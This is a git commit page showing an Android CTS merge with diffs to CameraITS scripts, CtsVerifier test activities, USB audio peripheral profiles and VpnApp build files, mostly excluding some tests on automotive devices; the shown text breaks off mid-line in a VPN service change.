diff options
author | android-build-prod (mdb) <android-build-team-robot@google.com> | 2019-01-17 22:38:46 +0000 |
---|---|---|
committer | Gerrit Code Review <noreply-gerritcodereview@google.com> | 2019-01-17 22:38:46 +0000 |
commit | 64a184271a1df1a57339fef521848fa683dd2cff (patch) | |
tree | 420d647b9eec168ebba315ec6f37afd3fc76b225 | |
parent | f89d8935a72479c5798d4e33779e4701f285560c (diff) | |
parent | f029b90a4f3f75d2e426733f5b8becf85eabeebd (diff) | |
download | cts-sparse-5241043-L74700000263334116.tar.gz |
Merge "Snap for 5240828 from 0a5bf62de180ddd642f0a937ae98850f241df1a1 to pie-cts-release" into pie-cts-releasesparse-5241043-L74700000263334116sparse-5241043-L55700000263334318
108 files changed, 655 insertions, 1149 deletions
diff --git a/apps/CameraITS/tests/scene0/test_burst_capture.py b/apps/CameraITS/tests/scene0/test_burst_capture.py index e6ee100ddc6..f915a6a7061 100644 --- a/apps/CameraITS/tests/scene0/test_burst_capture.py +++ b/apps/CameraITS/tests/scene0/test_burst_capture.py @@ -23,7 +23,7 @@ def main(): of fullsize capture + CPU read for at least some time. """ NAME = os.path.basename(__file__).split(".")[0] - NUM_TEST_FRAMES = 20 + NUM_TEST_FRAMES = 15 with its.device.ItsSession() as cam: props = cam.get_camera_properties() diff --git a/apps/CameraITS/tools/run_parallel_tests.py b/apps/CameraITS/tools/run_parallel_tests.py index 902eaba22e5..cdba01eddde 100644 --- a/apps/CameraITS/tools/run_parallel_tests.py +++ b/apps/CameraITS/tools/run_parallel_tests.py @@ -63,7 +63,7 @@ def main(): if scenes is None: scenes = auto_scenes - print ">>> Start the at %s" % time.strftime('%Y/%m/%d %H:%M:%S') + print ">>> Start the test at %s" % time.strftime('%Y/%m/%d %H:%M:%S') for scene in scenes: cmds = [] cmds.append(build_cmd(device0_id, chart_host_id, device1_id, 0, scene)) diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml index 7f2ba711775..f2640e51b3f 100644 --- a/apps/CtsVerifier/AndroidManifest.xml +++ b/apps/CtsVerifier/AndroidManifest.xml @@ -215,7 +215,7 @@ <meta-data android:name="test_required_features" android:value="android.software.device_admin" /> <meta-data android:name="test_excluded_features" - android:value="android.hardware.type.watch" /> + android:value="android.hardware.type.watch:android.hardware.type.automotive" /> </activity> <activity android:name=".admin.ScreenLockTestActivity" @@ -3099,8 +3099,7 @@ <category android:name="android.cts.intent.category.MANUAL_TEST" /> </intent-filter> <meta-data android:name="test_category" android:value="@string/test_category_audio" /> - <meta-data android:name="test_required_features" android:value="android.hardware.microphone" /> - <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" /> + <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" /> <meta-data android:name="test_excluded_features" android:value="android.hardware.type.watch:android.hardware.type.television" /> </activity> @@ -3112,8 +3111,7 @@ <category android:name="android.cts.intent.category.MANUAL_TEST" /> </intent-filter> <meta-data android:name="test_category" android:value="@string/test_category_audio" /> - <meta-data android:name="test_required_features" android:value="android.hardware.microphone" /> - <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" /> + <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" /> </activity> <activity android:name=".audio.AudioFrequencySpeakerActivity" @@ -3123,8 +3121,7 @@ <category android:name="android.cts.intent.category.MANUAL_TEST" /> </intent-filter> <meta-data android:name="test_category" android:value="@string/test_category_audio" /> - <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" /> - <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" /> + <meta-data android:name="test_required_features" android:value="android.hardware.audio.output:android.hardware.usb.host" /> </activity> <activity android:name=".audio.AudioFrequencyMicActivity" @@ -3134,9 +3131,7 @@ <category android:name="android.cts.intent.category.MANUAL_TEST" /> </intent-filter> <meta-data android:name="test_category" android:value="@string/test_category_audio" /> - <meta-data android:name="test_required_features" android:value="android.hardware.microphone" /> - <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" /> - <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" /> + <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output:android.hardware.usb.host" /> </activity> <activity android:name=".audio.AudioFrequencyUnprocessedActivity" diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml index 89b4efa4fab..b64b9eb562e 100755 --- a/apps/CtsVerifier/res/values/strings.xml +++ b/apps/CtsVerifier/res/values/strings.xml @@ -1860,6 +1860,7 @@ You should be prompted to select credentials; choose the ones you just installed 2. Click on the play button.\n 3. Verify that the captured audio is played.\n 4. Click on the close button.\n + If this device does not support audio recording, please skip this test and mark it passing.\n </string> <string name="provisioning_byod_dismiss_result_dialog">Close</string> <string name="provisioning_byod_play">Play</string> diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java index c8bffdf9830..0e824236063 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java @@ -67,11 +67,12 @@ public class DeviceAdminKeyguardDisabledFeaturesActivity extends KeyguardDisable R.string.device_admin_keyguard_disable_camera_instruction, new Intent(ByodHelperActivity.ACTION_LOCKNOW))); } - - adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications, - "DeviceAdmin_DisableNotifications", - R.string.device_admin_disable_notifications_instruction, - new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN))); + if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) { + adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications, + "DeviceAdmin_DisableNotifications", + R.string.device_admin_disable_notifications_instruction, + new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN))); + } } private boolean hasTrustAgents() { diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java index ef67708bd42..5029160619d 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java @@ -70,21 +70,27 @@ public class USBAudioPeripheralAttributesActivity extends USBAudioPeripheralActi if (deviceInfo.getChannelCounts().length == 0) { sb.append("Output - No Peripheral Channel Counts\n"); } else if (!ListsHelper.isSubset(deviceInfo.getChannelCounts(), attribs.mChannelCounts)) { - sb.append("Output - Channel Counts Mismatch\n"); + sb.append("Output - Channel Counts Mismatch" + + " d" + ListsHelper.textFormatDecimal(deviceInfo.getChannelCounts()) + + " p" + ListsHelper.textFormatDecimal(attribs.mChannelCounts) +"\n"); } // Encodings if (deviceInfo.getEncodings().length == 0) { sb.append("Output - No Peripheral Encodings\n"); } else if (!ListsHelper.isSubset(deviceInfo.getEncodings(), attribs.mEncodings)) { - sb.append("Output - Encodings Mismatch\n"); + sb.append("Output - Encodings Mismatch" + + " d" + ListsHelper.textFormatHex(deviceInfo.getEncodings()) + + " p" + ListsHelper.textFormatHex(attribs.mEncodings) + "\n"); } // Sample Rates if (deviceInfo.getSampleRates().length == 0) { sb.append("Output - No Peripheral Sample Rates\n"); } else if (!ListsHelper.isSubset(deviceInfo.getSampleRates(), attribs.mSampleRates)) { - sb.append("Output - Sample Rates Mismatch\n"); + sb.append("Output - Sample Rates Mismatch" + + " d" + ListsHelper.textFormatHex(deviceInfo.getSampleRates()) + + " p" + ListsHelper.textFormatHex(attribs.mSampleRates) + "\n"); } // Channel Masks @@ -95,13 +101,17 @@ public class USBAudioPeripheralAttributesActivity extends USBAudioPeripheralActi // Channel Index Masks if (!ListsHelper.isSubset(deviceInfo.getChannelIndexMasks(), attribs.mChannelIndexMasks)) { - sb.append("Output - Channel Index Masks Mismatch\n"); + sb.append("Output - Channel Index Masks Mismatch" + + " d" + ListsHelper.textFormatHex(deviceInfo.getChannelIndexMasks()) + + " p" + ListsHelper.textFormatHex(attribs.mChannelIndexMasks) + "\n"); } // Channel Position Masks if (!ListsHelper.isSubset(deviceInfo.getChannelMasks(), attribs.mChannelPositionMasks)) { - sb.append("Output - Channel Position Masks Mismatch\n"); + sb.append("Output - Channel Position Masks Mismatch" + + " d" + ListsHelper.textFormatHex(deviceInfo.getChannelMasks()) + + " p" + ListsHelper.textFormatHex(attribs.mChannelPositionMasks) + "\n"); } } @@ -128,21 +138,27 @@ public class USBAudioPeripheralAttributesActivity extends USBAudioPeripheralActi if (deviceInfo.getChannelCounts().length == 0) { sb.append("Input - No Peripheral Channel Counts\n"); } else if (!ListsHelper.isSubset(deviceInfo.getChannelCounts(), attribs.mChannelCounts)) { - sb.append("Input - Channel Counts Mismatch\n"); + sb.append("Input - Channel Counts Mismatch" + + " d" + ListsHelper.textFormatDecimal(deviceInfo.getChannelCounts()) + + " p" + ListsHelper.textFormatDecimal(attribs.mChannelCounts) + "\n"); } // Encodings if (deviceInfo.getEncodings().length == 0) { sb.append("Input - No Peripheral Encodings\n"); } else if (!ListsHelper.isSubset(deviceInfo.getEncodings(), attribs.mEncodings)) { - sb.append("Input - Encodings Mismatch\n"); + sb.append("Input - Encodings Mismatch" + + " d" + ListsHelper.textFormatHex(deviceInfo.getEncodings()) + + " p" + ListsHelper.textFormatHex(attribs.mEncodings) + "\n"); } // Sample Rates if (deviceInfo.getSampleRates().length == 0) { sb.append("Input - No Peripheral Sample Rates\n"); } else if (!ListsHelper.isSubset(deviceInfo.getSampleRates(), attribs.mSampleRates)) { - sb.append("Input - Sample Rates Mismatch\n"); + sb.append("Input - Sample Rates Mismatch" + + " d" + ListsHelper.textFormatDecimal(deviceInfo.getSampleRates()) + + " p" + ListsHelper.textFormatDecimal(attribs.mSampleRates) + "\n"); } // Channel Masks @@ -152,11 +168,15 @@ public class USBAudioPeripheralAttributesActivity extends USBAudioPeripheralActi } else { if (!ListsHelper.isSubset(deviceInfo.getChannelIndexMasks(), attribs.mChannelIndexMasks)) { - sb.append("Input - Channel Index Masks Mismatch\n"); + sb.append("Input - Channel Index Masks Mismatch" + + " d" + ListsHelper.textFormatHex(deviceInfo.getChannelIndexMasks()) + + " p" + ListsHelper.textFormatHex(attribs.mChannelIndexMasks) + "\n"); } if (!ListsHelper.isSubset(deviceInfo.getChannelMasks(), attribs.mChannelPositionMasks)) { - sb.append("Input - Channel Position Masks Mismatch\n"); + sb.append("Input - Channel Position Masks Mismatch" + + " d" + ListsHelper.textFormatHex(deviceInfo.getChannelMasks()) + + " p" + ListsHelper.textFormatHex(attribs.mChannelPositionMasks) + "\n"); } } if (sb.toString().length() == 0){ diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java index 97822d03bed..565826e4856 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java @@ -60,4 +60,30 @@ public class ListsHelper { return true; } + + static public String textFormatHex(int[] list) { + StringBuilder sb = new StringBuilder(); + sb.append("["); + for (int index = 0; index < list.length; index++) { + sb.append("0x" + Integer.toHexString(list[index])); + if (index < list.length-1) { + sb.append(", "); + } + } + sb.append("]"); + return sb.toString(); + } + + static public String textFormatDecimal(int[] list) { + StringBuilder sb = new StringBuilder(); + sb.append("["); + for (int index = 0; index < list.length; index++) { + sb.append("0x" + list[index]); + if (index < list.length-1) { + sb.append(", "); + } + } + sb.append("]"); + return sb.toString(); + } } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java index a56cd3fae35..b4cb0b33ade 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java @@ -49,31 +49,31 @@ public class ProfileManager { "<ProfileList Version=\"1.0.0\">" + "<PeripheralProfile ProfileName=\"AudioBox USB 96\" ProfileDescription=\"PreSonus AudioBox USB 96\" ProductName=\"USB-Audio - AudioBox USB 96\">" + "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" + - "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" + + "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" + "</PeripheralProfile>" + - "<PeripheralProfile ProfileName=\"Audio Interface\" ProfileDescription=\"Presonus AudioVox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" + - "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" + - "<InputDevInfo ChanCounts=\"1,2,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" + + "<PeripheralProfile ProfileName=\"AudioBox 44VSL\" ProfileDescription=\"Presonus AudioBox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" + + "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" + + "<InputDevInfo ChanCounts=\"1,2,3,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" + "</PeripheralProfile>" + "<PeripheralProfile ProfileName=\"AudioBox 22VSL\" ProfileDescription=\"Presonus AudioBox 22VSL\" ProductName=\"USB-Audio - AudioBox 22 VSL\">" + "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" + - "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" + + "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" + "</PeripheralProfile>" + "<PeripheralProfile ProfileName=\"AudioBox USB\" ProfileDescription=\"Presonus AudioBox USB\" ProductName=\"USB-Audio - AudioBox USB\">" + "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" + - "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" + + "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" + "</PeripheralProfile>" + "<PeripheralProfile ProfileName=\"Focusrite 2i4\" ProfileDescription=\"Focusrite Scarlett 2i4\" ProductName=\"USB-Audio - Scarlett 2i4 USB\">" + "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" + - "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" + + "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" + "</PeripheralProfile>" + "<PeripheralProfile ProfileName=\"Behringer UMC204HD\" ProfileDescription=\"Behringer UMC204HD\" ProductName=\"USB-Audio - UMC204HD 192k\">" + "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"2,4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" + - "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" + + "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" + "</PeripheralProfile>" + "<PeripheralProfile ProfileName=\"Roland Rubix24\" ProfileDescription=\"Roland Rubix24\" ProductName=\"USB-Audio - Rubix24\">" + "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" + - "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" + + "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" + "</PeripheralProfile>" + "<PeripheralProfile ProfileName=\"Pixel USB-C Dongle + Wired Analog Headset\" ProfileDescription=\"Reference USB Dongle\" ProductName=\"USB-Audio - USB-C to 3.5mm-Headphone Adapte\">" + "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" + diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java index 078e9ce5be0..dffce5666e9 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java @@ -20,6 +20,7 @@ import android.app.Activity; import android.app.admin.DevicePolicyManager; import android.content.ComponentName; import android.content.Intent; +import android.content.pm.PackageManager; import android.database.DataSetObserver; import android.os.Bundle; import android.provider.Settings; @@ -98,10 +99,12 @@ public class DeviceOwnerNegativeTestActivity extends PassFailButtons.TestListAct .putExtra(EnterprisePrivacyInfoOnlyTestActivity.EXTRA_INFO, R.string.enterprise_privacy_quick_settings_negative_info), null)); - adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD_NEGATIVE, - R.string.enterprise_privacy_keyguard_negative, - R.string.enterprise_privacy_keyguard_negative_info, - new ButtonInfo(R.string.go_button_text, new Intent(Settings.ACTION_SETTINGS)))); + if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) { + adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD_NEGATIVE, + R.string.enterprise_privacy_keyguard_negative, + R.string.enterprise_privacy_keyguard_negative_info, + new ButtonInfo(R.string.go_button_text, new Intent(Settings.ACTION_SETTINGS)))); + } adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ADD_ACCOUNT_NEGATIVE, R.string.enterprise_privacy_add_account_negative, R.string.enterprise_privacy_add_account_negative_info, diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java index 00225180f82..ff4f540e666 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java @@ -510,6 +510,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct private boolean isStatusBarEnabled() { // Watches don't support the status bar so this is an ok proxy, but this is not the most // general test for that. TODO: add a test API to do a real check for status bar support. - return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH); + return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH) && + !getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE); } } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java index 3a16297715c..519d50bcfc2 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java @@ -312,20 +312,22 @@ public class EnterprisePrivacyTestListActivity extends PassFailButtons.TestListA CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME) .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME, "Foo, Inc."))})); - adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD, - R.string.enterprise_privacy_keyguard, - R.string.enterprise_privacy_keyguard_info, - new ButtonInfo[] { - new ButtonInfo(R.string.enterprise_privacy_open_settings, - new Intent(Settings.ACTION_SETTINGS)), - new ButtonInfo(R.string.enterprise_privacy_clear_organization, - buildCommandIntent( - CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)), - new ButtonInfo(R.string.enterprise_privacy_set_organization, - buildCommandIntent( - CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME) - .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME, - "Foo, Inc."))})); + if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) { + adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD, + R.string.enterprise_privacy_keyguard, + R.string.enterprise_privacy_keyguard_info, + new ButtonInfo[]{ + new ButtonInfo(R.string.enterprise_privacy_open_settings, + new Intent(Settings.ACTION_SETTINGS)), + new ButtonInfo(R.string.enterprise_privacy_clear_organization, + buildCommandIntent( + CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)), + new ButtonInfo(R.string.enterprise_privacy_set_organization, + buildCommandIntent( + CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME) + .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME, + "Foo, Inc."))})); + } adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ADD_ACCOUNT, R.string.enterprise_privacy_add_account, R.string.enterprise_privacy_add_account_info, diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java index 31a87914b96..66375092d22 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java @@ -110,12 +110,14 @@ public class KeyguardDisabledFeaturesActivity extends DialogTestListActivity { } protected void setupDisableUnredactedWorkNotification(ArrayTestListAdapter adapter) { - adapter.add(new DialogTestListItemWithIcon(this, - R.string.provisioning_byod_disable_unredacted_notifications, - getTestIdPrefix() + "DisableUnredactedNotifications", - R.string.provisioning_byod_disable_unredacted_notifications_instruction, - new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN), - R.drawable.ic_corp_icon)); + if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) { + adapter.add(new DialogTestListItemWithIcon(this, + R.string.provisioning_byod_disable_unredacted_notifications, + getTestIdPrefix() + "DisableUnredactedNotifications", + R.string.provisioning_byod_disable_unredacted_notifications_instruction, + new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN), + R.drawable.ic_corp_icon)); + } } protected void setupFingerprintTests(ArrayTestListAdapter adapter) { diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java index 211d385b414..217878d051d 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java @@ -187,18 +187,9 @@ public class DeviceSuspendTestActivity } /** - * Verify that each continuous sensor is using the correct - * clock source (CLOCK_BOOTTIME) for timestamps. + * Verify that the device is able to suspend */ - public String testTimestampClockSource() throws Throwable { - String string = null; - boolean error_occurred = false; - List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL); - if (sensorList == null) { - throw new SensorTestStateNotSupportedException( - "Sensors are not available in the system."); - } - + public void verifyDeviceCanSuspend() throws Throwable { // Make sure clocks are different (i.e. kernel has suspended at least once) // so that we can determine if sensors are using correct clocksource timestamp final int MAX_SLEEP_ATTEMPTS = 10; @@ -238,6 +229,22 @@ public class DeviceSuspendTestActivity mDeviceSuspendLock.acquire(); } mAlarmManager.cancel(mPendingIntent); + } + + /** + * Verify that each continuous sensor is using the correct + * clock source (CLOCK_BOOTTIME) for timestamps. + */ + public String testTimestampClockSource() throws Throwable { + String string = null; + boolean error_occurred = false; + List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL); + if (sensorList == null) { + throw new SensorTestStateNotSupportedException( + "Sensors are not available in the system."); + } + + boolean needToVerifySuspend = true; for (Sensor sensor : sensorList) { if (sensor.getReportingMode() != Sensor.REPORTING_MODE_CONTINUOUS) { @@ -248,6 +255,12 @@ public class DeviceSuspendTestActivity Log.i(TAG, "testTimestampClockSource skipping vendor specific sensor: '" + sensor.getName()); continue; } + + if (needToVerifySuspend) { + verifyDeviceCanSuspend(); + needToVerifySuspend = false; + } + try { string = runVerifySensorTimestampClockbase(sensor, false); if (string != null) { diff --git a/apps/VpnApp/api23/Android.mk b/apps/VpnApp/api23/Android.mk index 9f3f2e72b52..e25cb91e329 100644..100755 --- a/apps/VpnApp/api23/Android.mk +++ b/apps/VpnApp/api23/Android.mk @@ -26,7 +26,8 @@ LOCAL_SRC_FILES := $(call all-java-files-under, ../src) LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res -LOCAL_SDK_VERSION := current +#LOCAL_SDK_VERSION := current +LOCAL_PRIVATE_PLATFORM_APIS := true # tag this module as a cts test artifact LOCAL_COMPATIBILITY_SUITE := cts vts general-tests diff --git a/apps/VpnApp/api24/Android.mk b/apps/VpnApp/api24/Android.mk index fc2761c541d..ec363330776 100644..100755 --- a/apps/VpnApp/api24/Android.mk +++ b/apps/VpnApp/api24/Android.mk @@ -26,7 +26,8 @@ LOCAL_SRC_FILES := $(call all-java-files-under, ../src) LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res -LOCAL_SDK_VERSION := current +#LOCAL_SDK_VERSION := current +LOCAL_PRIVATE_PLATFORM_APIS := true # tag this module as a cts test artifact LOCAL_COMPATIBILITY_SUITE := cts vts general-tests diff --git a/apps/VpnApp/latest/Android.mk b/apps/VpnApp/latest/Android.mk index a8db2d22afd..0431bef5f06 100644..100755 --- a/apps/VpnApp/latest/Android.mk +++ b/apps/VpnApp/latest/Android.mk @@ -26,7 +26,8 @@ LOCAL_SRC_FILES := $(call all-java-files-under, ../src) LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res -LOCAL_SDK_VERSION := current +#LOCAL_SDK_VERSION := current +LOCAL_PRIVATE_PLATFORM_APIS := true # tag this module as a cts test artifact LOCAL_COMPATIBILITY_SUITE := cts vts general-tests diff --git a/apps/VpnApp/notalwayson/Android.mk b/apps/VpnApp/notalwayson/Android.mk index cc1bfec36dc..06731f8f74f 100644..100755 --- a/apps/VpnApp/notalwayson/Android.mk +++ b/apps/VpnApp/notalwayson/Android.mk @@ -26,7 +26,8 @@ LOCAL_SRC_FILES := $(call all-java-files-under, ../src) LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res -LOCAL_SDK_VERSION := current +#LOCAL_SDK_VERSION := current +LOCAL_PRIVATE_PLATFORM_APIS := true # tag this module as a cts test artifact LOCAL_COMPATIBILITY_SUITE := cts vts general-tests diff --git a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java index bb8d9a04378..1397687994e 100644..100755 --- a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java +++ b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java @@ -33,6 +33,7 @@ import android.os.ParcelFileDescriptor; import android.os.UserManager; import android.text.TextUtils; import android.util.Log; +import android.os.SystemProperties; import java.io.IOException; import java.net.InetAddress; @@ -181,6 +182,19 @@ public class ReflectorVpnService extends VpnService { } } + if (allowedArray == null && + (SystemProperties.getInt("persist.adb.tcp.port", -1) > -1 + || 